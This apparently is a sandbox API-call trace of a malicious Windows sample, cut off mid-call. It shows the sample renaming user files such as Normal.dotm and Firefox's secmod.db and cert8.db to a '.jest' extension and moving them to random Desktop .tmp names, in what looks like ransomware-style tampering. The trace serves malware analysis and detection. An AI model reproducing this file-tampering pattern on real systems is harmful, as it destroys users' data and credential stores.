lpFileName="IsVSgkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IsVSgkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp", lpFilePart=0x18e6e4*="IsVSgkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp") returned 0x8e [0129.766] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IsVSgkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x53567349, cFileName="gkDZM4KNAqz-3FC7ozSut2LgRW7SSrgOEBIOvVar _n9ZZ43rpGX05JqKbBE6GFwe6Ihy109PGFAiY3a4EPRJ-TS3detrLc4.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.766] GetLastError () returned 0x2 [0129.766] GetLastError () returned 0x2 [0129.766] SetLastError (dwErrCode=0x2) [0129.767] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.767] CoFreeUnusedLibraries () [0129.767] GetTickCount () returned 0x1152dc5 [0129.768] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.768] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.768] GetTickCount () returned 0x1152dc5 [0129.768] IsWindowVisible (hWnd=0x30268) returned 0 [0129.768] Sleep (dwMilliseconds=0x0) [0129.770] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm.jest")) returned 1 [0129.772] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFilePart=0x18e6d8*="Normal.dotm") returned 0x4d [0129.772] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xfffffffe, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x4020, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x0, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.773] GetLastError () returned 0x2 [0129.773] VarBstrFromR4 (in: fltIn=0x479446cf, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.62") returned 0x0 [0129.773] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.773] CoFreeUnusedLibraries () [0129.773] GetTickCount () returned 0x1152dd5 [0129.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.774] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.774] GetTickCount () returned 0x1152dd5 [0129.774] IsWindowVisible (hWnd=0x30268) returned 0 [0129.774] Sleep (dwMilliseconds=0x0) [0129.774] GetFullPathNameA (in: lpFileName="m5XVgi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m5XVgi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp", lpFilePart=0x18e708*="m5XVgi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp") returned 0x8c [0129.775] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm", lpFilePart=0x18e708*="Normal.dotm") returned 0x4d [0129.775] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m5XVgi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m5xvgi6apwmsnhzrtwpexgwn3jcrruutqf7n_bo1cc49 mqzcrwpboywjh -laufcgbxz3mrlf-tcgo8kkscsevdlgd8t8p5zi.tmp")) returned 0 [0129.775] GetLastError () returned 0x2 [0129.775] GetLastError () returned 0x2 [0129.775] SetLastError (dwErrCode=0x2) [0129.775] GetLastError () returned 0x2 [0129.775] SetLastError (dwErrCode=0x2) [0129.775] GetLastError () returned 0x2 [0129.775] SetLastError (dwErrCode=0x2) [0129.776] GetFullPathNameA (in: lpFileName="m5XVgi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m5XVgi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp", lpFilePart=0x18e6e4*="m5XVgi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp") returned 0x8c [0129.776] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\m5XVgi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x5658356d, cFileName="gi6APWmSnhZRtwPexGWn3JcRRuUtqF7N_bo1cC49 mQzcRwpboywJh -LaUfCgBxZ3mRLF-tcgo8kkscSEVDlgd8t8p5Zi.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.776] GetLastError () returned 0x2 [0129.776] GetLastError () returned 0x2 [0129.776] SetLastError (dwErrCode=0x2) [0129.786] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.787] CoFreeUnusedLibraries () [0129.787] GetTickCount () returned 0x1152de4 [0129.787] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.787] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.787] GetTickCount () returned 0x1152de4 [0129.787] IsWindowVisible (hWnd=0x30268) returned 0 [0129.787] Sleep (dwMilliseconds=0x0) [0129.804] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.jest" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.jest")) returned 1 [0129.810] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", lpFilePart=0x18e6d8*="Green Bubbles.htm") returned 0x52 [0129.810] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0xd0, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1413628, ftLastAccessTime.dwHighDateTime=0x1413628, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x14c88b0, nFileSizeHigh=0x146ad80, nFileSizeLow=0x146ad80, dwReserved0=0xd1, dwReserved1=0x0, cFileName="", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.810] GetLastError () returned 0x2 [0129.810] VarBstrFromR4 (in: fltIn=0x479446d3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.65") returned 0x0 [0129.811] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.811] CoFreeUnusedLibraries () [0129.811] GetTickCount () returned 0x1152df4 [0129.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.811] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.811] GetTickCount () returned 0x1152df4 [0129.811] IsWindowVisible (hWnd=0x30268) returned 0 [0129.811] Sleep (dwMilliseconds=0x0) [0129.811] GetFullPathNameA (in: lpFileName="r2etX3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r2etX3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp", lpFilePart=0x18e708*="r2etX3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp") returned 0x8f [0129.812] GetFullPathNameA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm", lpFilePart=0x18e708*="Green Bubbles.htm") returned 0x52 [0129.812] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r2etX3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r2etx3pmrqeyekkrugyx63sew2tys3u3df7er64n3shk4hrirwcjuuyrbl7jth__rzqto8ptp_kiza6ffkabm07_2ub3kuzky8dzj.tmp")) returned 0 [0129.812] GetLastError () returned 0x2 [0129.812] GetLastError () returned 0x2 [0129.812] SetLastError (dwErrCode=0x2) [0129.812] GetLastError () returned 0x2 [0129.812] SetLastError (dwErrCode=0x2) [0129.812] GetLastError () returned 0x2 [0129.812] SetLastError (dwErrCode=0x2) [0129.812] GetFullPathNameA (in: lpFileName="r2etX3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r2etX3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp", lpFilePart=0x18e6e4*="r2etX3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp") returned 0x8f [0129.812] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\r2etX3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x74653272, cFileName="X3PmRQEYekkRugyx63sEw2TYS3u3Df7ER64N3Shk4HrirWcJUUYrbl7jTH__RZQTO8Ptp_kiza6FfkAbM07_2UB3kUZky8DZj.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.813] GetLastError () returned 0x2 [0129.813] GetLastError () returned 0x2 [0129.813] SetLastError (dwErrCode=0x2) [0129.818] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.818] CoFreeUnusedLibraries () [0129.818] GetTickCount () returned 0x1152df4 [0129.818] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.818] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.818] GetTickCount () returned 0x1152df4 [0129.819] IsWindowVisible (hWnd=0x30268) returned 0 [0129.819] Sleep (dwMilliseconds=0x0) [0129.820] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db.jest")) returned 1 [0129.860] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db", lpFilePart=0x18e6d8*="secmod.db") returned 0x61 [0129.860] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.861] GetLastError () returned 0x2 [0129.861] VarBstrFromR4 (in: fltIn=0x479446d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.66") returned 0x0 [0129.861] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.861] CoFreeUnusedLibraries () [0129.861] GetTickCount () returned 0x1152e03 [0129.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.862] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.862] GetTickCount () returned 0x1152e03 [0129.862] IsWindowVisible (hWnd=0x30268) returned 0 [0129.862] Sleep (dwMilliseconds=0x0) [0129.862] GetFullPathNameA (in: lpFileName="qdEekJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qdEekJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp", lpFilePart=0x18e708*="qdEekJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp") returned 0x8f [0129.862] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db", lpFilePart=0x18e708*="secmod.db") returned 0x61 [0129.863] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\secmod.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\secmod.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qdEekJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qdeekjbftecfynp5q9 -jridjy_pxmmqhylddwpv7bzmk2hlszss63zwzsjzpuh9gjnf_mea6vswzhocwjg6_jfigjmjl_-q_wx7v.tmp")) returned 0 [0129.863] GetLastError () returned 0x2 [0129.863] GetLastError () returned 0x2 [0129.863] SetLastError (dwErrCode=0x2) [0129.863] GetLastError () returned 0x2 [0129.863] SetLastError (dwErrCode=0x2) [0129.863] GetLastError () returned 0x2 [0129.863] SetLastError (dwErrCode=0x2) [0129.863] GetFullPathNameA (in: lpFileName="qdEekJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qdEekJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp", lpFilePart=0x18e6e4*="qdEekJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp") returned 0x8f [0129.863] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qdEekJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x65456471, cFileName="kJbFteCFYnp5Q9 -JRIdJy_PxmmqhYLDdWpV7bZMK2hlSZSS63ZWZsjZPuh9gjnf_mEA6VSwZhOcWjg6_JFiGJMJL_-q_Wx7V.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0129.864] GetLastError () returned 0x2 [0129.864] GetLastError () returned 0x2 [0129.864] SetLastError (dwErrCode=0x2) [0129.868] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0129.868] CoFreeUnusedLibraries () [0129.868] GetTickCount () returned 0x1152e13 [0129.868] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.868] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.868] GetTickCount () returned 0x1152e13 [0129.869] IsWindowVisible (hWnd=0x30268) returned 0 [0129.869] Sleep (dwMilliseconds=0x0) [0129.871] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\cert8.db.jest")) returned 1 [0129.873] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db", lpFilePart=0x18e6d8*="cert8.db") returned 0x60 [0129.873] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\cert8.db", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x3d00003d, ftCreationTime.dwLowDateTime=0x1413658, ftCreationTime.dwHighDateTime=0x144ecc0, ftLastAccessTime.dwLowDateTime=0x14c88b0, ftLastAccessTime.dwHighDateTime=0x14e21e0, ftLastWriteTime.dwLowDateTime=0x1e8, ftLastWriteTime.dwHighDateTime=0x1410000, nFileSizeHigh=0x800000, nFileSizeLow=0x144ebe8, dwReserved0=0x18ea24, dwReserved1=0x77c7389e, cFileName="8\x01A\x01z8ÇwYpÍw", cAlternateFileName="¨\x14G\x01½I¢rà\x9aB\x01Hë\x18")) returned 0xffffffff [0129.873] GetLastError () returned 0x2 [0129.873] VarBstrFromR4 (in: fltIn=0x479446d7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75917.68") returned 0x0 [0129.873] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0129.873] CoFreeUnusedLibraries () [0129.873] GetTickCount () returned 0x1152e13 [0129.874] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0129.874] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0129.874] GetTickCount () returned 0x1152e13 [0129.874] IsWindowVisible (hWnd=0x30268) returned 0 [0129.874] Sleep (dwMilliseconds=0x0) [0129.874] GetFullPathNameA (in: lpFileName="vbkZJmYqMKPIaKIqwL1tscBfL_2lMpQBBxyiAMALEXquvBAkYfHLNREDv9OkYMuwJ3kV 6sbGNQ0UfYUQ bSOBAxhTDjq9gNmBayE.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: 